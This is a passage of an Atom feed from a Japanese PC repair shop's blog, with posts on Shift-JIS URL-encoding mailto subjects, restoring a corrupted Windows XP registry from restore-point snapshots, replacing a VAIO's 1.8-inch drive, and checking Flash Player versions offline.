								<td>過熱が原因？。焼けてしまってます。</td>
								<td>蛍光管の端が過熱により液晶パネルにダメージを与えています。</td>
				</tr>
</table>
]]>
		
	</content>
</entry>

<entry>
	<title>文字コードがS-JIS以外のHTMLで、mailto:の件名を文字化けさせずに指定する方法</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/10/sjishtmlmailto.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.224</id>
	 
	<published>2009-10-27T00:11:45Z</published>
	 <updated>2009-11-04T11:17:21Z</updated>
   
	 <summary>htmlのaタグのsrc要素に mailto:メールアドレス?subject=件名 と指定して、aタグで囲まれた部分をクリックすると、メールソフトの新規入力画面...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="ホームページ" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>htmlのaタグのsrc要素に mailto:メールアドレス?subject=件名 と指定して、aタグで囲まれた部分をクリックすると、メールソフトの新規入力画面が立ち上がって、宛先と件名部分に、文字が入力された状態になります。</p>
<p align="center"><a href="mailto:test@local.jp?subject=This is test mail">具体例は、ここをクリック</a></p>
<p>件名部分に2バイト文字(漢字など)を使用することが多いと思いますが、htmlをshift jisコードで作成しないと、2バイト文字部分の文字化けが発生します。</p>
<p>以下、一般に使われている文字コードで作られたhtmlファイルです。</p>
<table border="0" cellspacing="0" cellpadding="5">
				<tr>
								<td><a href="/pics/heya/2009/mailto_sjis.html" target="_blank">Shift JIS</a></td>
								<td><a href="/pics/heya/2009/mailto_utf8.html" target="_blank">UTF-8</a></td>
								<td><a href="/pics/heya/2009/mailto_eucjp.html" target="_blank">EUC -JP</a></td>
				</tr>
</table>
<p>&nbsp;</p>
<p>システム的な制約や、多言語対応などで、Shift-JIS以外でhtmlを生成するケースで、mailtoのsubjectを2バイト文字で指定したい場合、どうするか？<br />
私の場合、件名部分のみShift-JISコードに変換してURLエンコードしたものを、記述します。</p>
<p>以下のhtmlファイルが、「テストメール」という件名を、、それぞれShift JISコードで、URLエンコードしたものです。htmlの文字コードに左右されませんので、件名が文字化けしないと思います。</p>
<table border="0" cellspacing="0" cellpadding="5">
				<tr>
								<td><a href="/pics/heya/2009/mailto_sjis_urlenc.html" target="_blank">Shift JIS</a></td>
								<td><a href="/pics/heya/2009/mailto_utf8_urlenc.html" target="_blank">UTF-8</a></td>
								<td><a href="/pics/heya/2009/mailto_eucjp_urlenc.html" target="_blank">EUC-JP</a></td>
				</tr>
</table>
<p>上記のソースコード部分は、以下のような記述となっています。</p>
<p>&lt;a href=&quot;mailto:test@local.jp?subject=%83e%83X%83g%83%81%81%5B%83%8B&quot;&gt;メールを送る&lt;/a&gt;</p>
<p>”テストメール”という2バイト文字をShift JISコードでURLエンコードしたものが、%83e%83X%83g%83%81%81%5B%83%8B となります。</p>
<p>phpプログラムでURLエンコードするツールを作成しましたので、公開しておきます。ご自由にお使い下さい。</p>
<p>なお、メールアドレス収集ロボット対策として、メールアドレス部分を10進数のHTMLエンティティ化するようにしてあります。</p>
<p><a href="/pics/heya/2009/mailto.php" target="_blank">mailto変換プログラム</a></p>
<p><a href="/pics/heya/2009/mailto.html" target="_blank">ソースコード</a></p>
<p>&nbsp;</p>]]>
		
	</content>
</entry>

<entry>
	<title>起動時、次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/10/system32_config.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.222</id>
	 
	<published>2009-10-20T01:41:43Z</published>
	 <updated>2009-10-27T02:32:48Z</updated>
   
	 <summary>今回のケースは、C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMが壊れていただけの事例です。 				 								 				 				 ...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<p>今回のケースは、C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMが壊れていただけの事例です。</p>
<table width="310" border="0" align="center" cellpadding="5" cellspacing="0" class="table6">
				<tr>
								<td><a href="/pics/heya/2009/system32_config.jpg" title="次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした" rel="lightbox"><img src="/pics/heya/2009/system32_config_thumb.jpg" alt="次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした" width="300" height="195" /></a></td>
				</tr>
				<tr>
								<td>次のファイルが存在しないかまたは壊れているため、Windows を起動できませんでした：<br />
オリジナルセットアップ CD-ROM から Windows セットアップを起動して、このファイルを修復できます。<br />
修復するには、最初の画面で'R'キーを押してください。</td>
				</tr>
</table>
<p>&nbsp;</p>
<p>機種は、富士通製FMV DESKPOWER CE50G7デスクトップパソコンWindows XPでした。データの救済とリカバリーの依頼です。メーカのサポート担当からリカバリーを宣言されたたため、その前にデータを救済したいとのことでした。</p>
<p>ハードディスクのサーフェステストはエラーが無く、chkdskも全くエラーがありませんでした。どうやら単純にSYSTEMが壊れているようです。このSYSTEMというファイルは、レジストリーと呼ばれているWindowsの設定がぎっしり詰まったデータベースです。作りが悪いのか、よく破損してWindowsの起動ができないことがあります。レジストリが破損するとセーフモードでも立ち上がらないケースが多く、一般の方には、どうすることもできなくなります。</p>
<p>レジストリの修復は、リカバリポイントに保存されているちょっと古いレジストリファイル郡をC:\WINDOWS\SYSTEM32\CONFIG内に上書き保存することで、修復できるケースがあります。</p>
<p>リカバリポイントは、C:\System Volume Information\_restore{GUID}\<br />
				RPxx\snapshotの中にあります。RPxxのxxは、リカバリポイントごとに作られますので、ファイル日付をみて新しめのを選びます。<br />
　※GUIDの部分は、英数字の混ざった長ったらしい名前になります。</p>
<p>System Volume InformationフォルダがNTFSフォーマットの場合、特殊なアクセス権が設定されていますので、読み取りするのも困難です。簡単にコピーするには、KNOPPIXなどのLive CDタイプのLinuxなどを使用するとよいでしょう。</p>
<p>リカバリポイントにあるレジストリのスナップショットは、頭に_REGISTRY_MACHINE_という名前が付いていますので、リネームして、あげます。</p>
<p>以下のファイルをリネームして、SYSTEM32\CONFIG\内に上書きします。</p>
<table border="0" align="center" cellpadding="5" cellspacing="0" class="table6">
				<tr>
								<td>_REGISTRY_MACHINE_SAM</td>
								<td>→</td>
								<td>SAM</td>
				</tr>
				<tr>
								<td>_REGISTRY_MACHINE_SECURITY</td>
								<td>→</td>
								<td>SECURITY</td>
				</tr>
				<tr>
								<td>_REGISTRY_MACHINE_SOFTWARE</td>
								<td>→</td>
								<td>SOFTWARE</td>
				</tr>
				<tr>
								<td>_REGISTRY_MACHINE_SYSTEM</td>
								<td>→</td>
								<td>SYSTEM</td>
				</tr>
				<tr>
								<td>_REGISTRY_USER_.DEFAULT</td>
								<td>→</td>
								<td>DEFAULT</td>
				</tr>
</table>
<p>DEFAULTのみ「.」が付いているので、気をつけてください。エラーのあったファイルSYSTEMのみ上書きすればいい場合もありますが、他のファイルとの不整合が起きるといけませんので、5つ全てを上書きしたほうがいいようです。なお、念のためsystem32\config内のファイルは、バックアップしてから上書きしたほうがいいでしょう。</p>
<p>安易な方法として、C:\WINDOWS\REPAIR内にあるレジストリのバックアップを使う方法がありますが、中身が古すぎて使い物にならない場合が多く、Windows自体立ち上がらないことも多いので、お勧めしません。</p>
<table border="0" align="center" cellpadding="5" cellspacing="0" class="table5">
				<tr>
								<td><a href="/pics/heya/2009/snapshot.png" title="C:\System Volume Information\_restore{xxxxx}\
RPxx\snapshot" rel="lightbox"><img src="/pics/heya/2009/snapshot_thumb.png" alt="C:\System Volume Information\_restore{xxxxx}\
RPxx\snapshot" width="200" height="108" /></a></td>
								<td><a href="/pics/heya/2009/system32_config.png" title="C:\WINDOWS\SYSTEM32\CONFIG" rel="lightbox"><img src="/pics/heya/2009/system32_config_thumb.png" alt="C:\WINDOWS\SYSTEM32\CONFIG" width="200" height="111" /></a></td>
				</tr>
				<tr>
								<td>C:\System Volume Information\_restore{xxxxx}\<br />
RPxx\snapshot</td>
								<td>C:\WINDOWS\SYSTEM32\CONFIG</td>
				</tr>
</table>
<p>&nbsp;</p>
<table border="0" cellpadding="5" cellspacing="0" class="table1">
				<tr>
								<th scope="col">内容</th>
								<th scope="col">費用</th>
				</tr>
				<tr>
								<td>作業(トラブル対応)2時間</td>
								<td>4,000円</td>
				</tr>
</table>
<p>&nbsp;</p>
]]>
		
	</content>
</entry>

<entry>
	<title>モバイルノートPCG-TR5Eのハードディスクは1.8インチタイプでした</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/10/pcg-tr5e.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.221</id>
	 
	<published>2009-10-13T07:17:35Z</published>
	 <updated>2009-10-13T07:35:52Z</updated>
   
	 <summary> ウルトラモバイルというジャンルの小型ノートパソコンが、最近人気のようです。今回修理したSONY VAIO Type-TR PCG-TR5EBは2004年5月に...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="故障・修理・トラブル・障害" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[
<p>ウルトラモバイルというジャンルの小型ノートパソコンが、最近人気のようです。今回修理したSONY VAIO Type-TR <a href="http://www.vaio.sony.co.jp/Products/PCG-TR5/" target="_blank">PCG-TR5EB</a>は2004年5月に販売されたモデルです。</p>
<p>調子が悪いので、リカバリーをしたら、途中でエラーになってしまい、Windowsが立ち上がらなくなってしまったとのこと。ハードディスクが壊れかけてるんじゃないかとお伝えすると、SONYのサポートにも同じことを言われたそうです。修理代が5万円近くかかるとのことで、もっと安く修理をしてくれるところを探していたら、たまたまIT工房にんにく庵を見つけてくれたそうです。しかも家の近くとのことで、持ち込み対応でのご依頼でした。</p>
<p>リカバリーは、ご自分でなさるとのことで、ハードディスクの交換と、リカバリーしていない領域にあるデータの救出をしてほしいとのこと。</p>
<p>ハードディスク40GB 8,000円＋交換工賃2,000円＋データ救済4,000円＝14,000円でお見積もりしました。</p>
<p>PCG-TR5EBのハードディスクは、1.8インチとの情報は、お客様が教えてくれて分かっていたのですが、2.5インチや3.5インチのものと違い、コネクタの形状が何種類かあることが判明。しかもメーカによって外形寸法も違うとのこと。勉強不足でした。</p>
<p>コネクタ形状は、2.5インチと互換性のある「IDE」、他に「LIF」や「ZIF」など。LIFやZIFは、形状的にはほぼ同一で、メーカによって呼び方が異なっていたりするようです。形状がほぼ同一ということで、完全互換ではないので、合うあわないがあるようです。</p>
<p>この辺の話は、ZIFやLIFのコネクターの意味と1.8インチハードディスクドライブで使われているZIFやLIFのコネクターやケーブルまで含めた意味とで、あいまいな部分が残るようです。詳しくは、Ainexの「<a href="http://www.ainex.jp/support/hde-03/" target="_blank">[HDE-03] 対応HDDについて</a>」が参考になると思います。</p>
<p>PCG-TR5EBのハードディスクは、日立製(HGST)のTravelstar C4K40 HTC424040F9AT00 1.8&quot; 40GB コネクタ形状：IDE 幅70mm 奥60mm 高(厚)9.5mmのものでした。</p>
<p>調べてみると、売ってるところがほとんどありませんでした。どうやら、HGST製1.8インチのコネクタ形状IDEのものは、製造終了で、販売店の在庫のみのようです。</p>
<p>東芝製のものは、外形寸法が合わず使えないようです。(無理やり取り付けた事例はありましたが。)</p>
<p>同一型番の新品を12,000円程で入手し、交換しました。</p>
<p>データの救済は、約16GBのデータを外付けHDDに取り出しして、DVD-R 4枚に書き込みました。一部CRCエラーで読み取れなかったものがあったのが残念です。</p>
<p>壊れたハードディスクのリカバリーデータエリアは、リードエラーが頻発して、救出断念です。</p>
<p>お客様は、リカバリーCDを作成していなかったとのことで、SONYから5千円ほどでリカバリーCDを購入するとのことでした。パソコン本体裏面にWindowsのプロダクトキーシールが貼ってありますので、OEM版のCDで、Windowsのインストールまではできますが、製品固有のドライバーが、別途必要になります。</p>
<p>SONY VAIOのダウンロードサイトは、更新版のドライバーしか置いていないため、オリジナルのドライバーは、C:ドライブにあるdriversフォルダーのものをバックアップしておくことになります。</p>
<p>今回のように、C:ドライブのリカバリーを失敗してしまうと、driversフォルダーも無くなってしまうためお手上げです。メーカーサポート外でよければ、LSIの製造元からドライバー類を入手するという手段もあります。</p>
<table border="0" align="center" cellpadding="0" cellspacing="0" class="table5">
				<tr>
								<td><a href="/pics/heya/2009/RIMGP1146.jpg" title="1.8インチハードディスクを取り外したところ" rel="lightbox"><img src="/pics/heya/2009/RIMGP1146_thumb.jpg" alt="1.8インチハードディスクを取り外したところ" width="150" height="100" /></a></td>
								<td><a href="/pics/heya/2009/RIMGP1167.jpg" title="新しいハードディスクを取り付けたところ" rel="lightbox"><img src="/pics/heya/2009/RIMGP1167_thumb.jpg" alt="新しいハードディスクを取り付けたところ" width="150" height="100" /></a></td>
								<td><a href="/pics/heya/2009/RIMGP1169.jpg" title="1.8インチハードディスク Travelstar C4K40 HTC424040F9AT00" rel="lightbox"><img src="/pics/heya/2009/RIMGP1169_thumb.jpg" alt="1.8インチハードディスクTravelstar C4K40 HTC424040F9AT00" width="150" height="100" /></a></td>
				</tr>
				<tr>
								<td>取り外したところ</td>
								<td>新しいHDDを取り付けたところ</td>
								<td>1.8インチHDD</td>
				</tr>
</table>
]]>
		
	</content>
</entry>

<entry>
	<title>Adobe Flash Player のバージョンチェック</title>
	 <link rel="alternate" type="text/html" href="http://koubou.nin29.com/heya/2009/06/adobe_flash_player.php" />
	<id>tag:koubou.nin29.com,2009:/heya//4.203</id>
	 
	<published>2009-06-21T02:21:38Z</published>
	 <updated>2009-11-13T10:14:48Z</updated>
   
	 <summary>Flashプレイヤーのセキュリティホールを突いたマルウエアが原因と思われるパソコンの不調対応をよくします。 Flashのバージョンチェックは、Flashを表示し...</summary>
	<author>
	  <name>管理者</name>
	  <uri>http://koubou.nin29.com/</uri>
   </author>
   
		<category term="セキュリティ" />
   
   
	 <content type="html" xml:lang="ja" xml:base="http://koubou.nin29.com/heya/">
 	 <![CDATA[<img style="margin-left: 10px; margin-bottom: 10px;" src="/pics/heya/2009/flash1.gif" alt="Adobe Flash Playerのバージョンチェック" title="Adobe Flash Playerのバージョンチェック" width="254" height="297" align="right" /><p>Flashプレイヤーのセキュリティホールを突いたマルウエアが原因と思われるパソコンの不調対応をよくします。</p>
<p>Flashのバージョンチェックは、Flashを表示して、右クリック、Adobe Flash Player xxについてというところをクリックすると、英語のサイトが表示されて、バージョンを表示してくれます。</p>
<p>レイテストバージョンも表示されるので、インストールされているFlash Playerのバージョンが最新かどうかも確認できます。</p>
<br clear="all" />
<p><a href="/pics/heya/2009/flash2.gif" title="Flashのバージョンチェック" rel="lightbox"><img src="/pics/heya/2009/flash2_thumb.gif" alt="Flashのバージョンチェック" width="200" height="249" align="left" style="margin:10px 10px 10px 0px" title="Flashのバージョンチェック" /></a>上記の確認方法は、インターネットに接続していなければいけませんので、マルウエアなどに感染していて、インタ-ネットに接続するのが危険な状態のパソコンでは駄目です。</p>
<p>
そこで、USBメモリーなどに、以下の二つのファイルを入れておいて、flashplayerversion.htmlをクリックすれば、オフライン状態でも、簡単にバージョン確認ができます。</p>
<p><a href="/pics/heya/2009/flashplayerversion.html">flashplayerversion.html</a></p>
<p><a href="/pics/heya/2009/flashplayerversion.swf">Flashplayerversion.swf</a></p>
<p>右クリックして保存してください。</p>
<br clear="all" />
]]>
		
	</content>
</entry>

</feed>

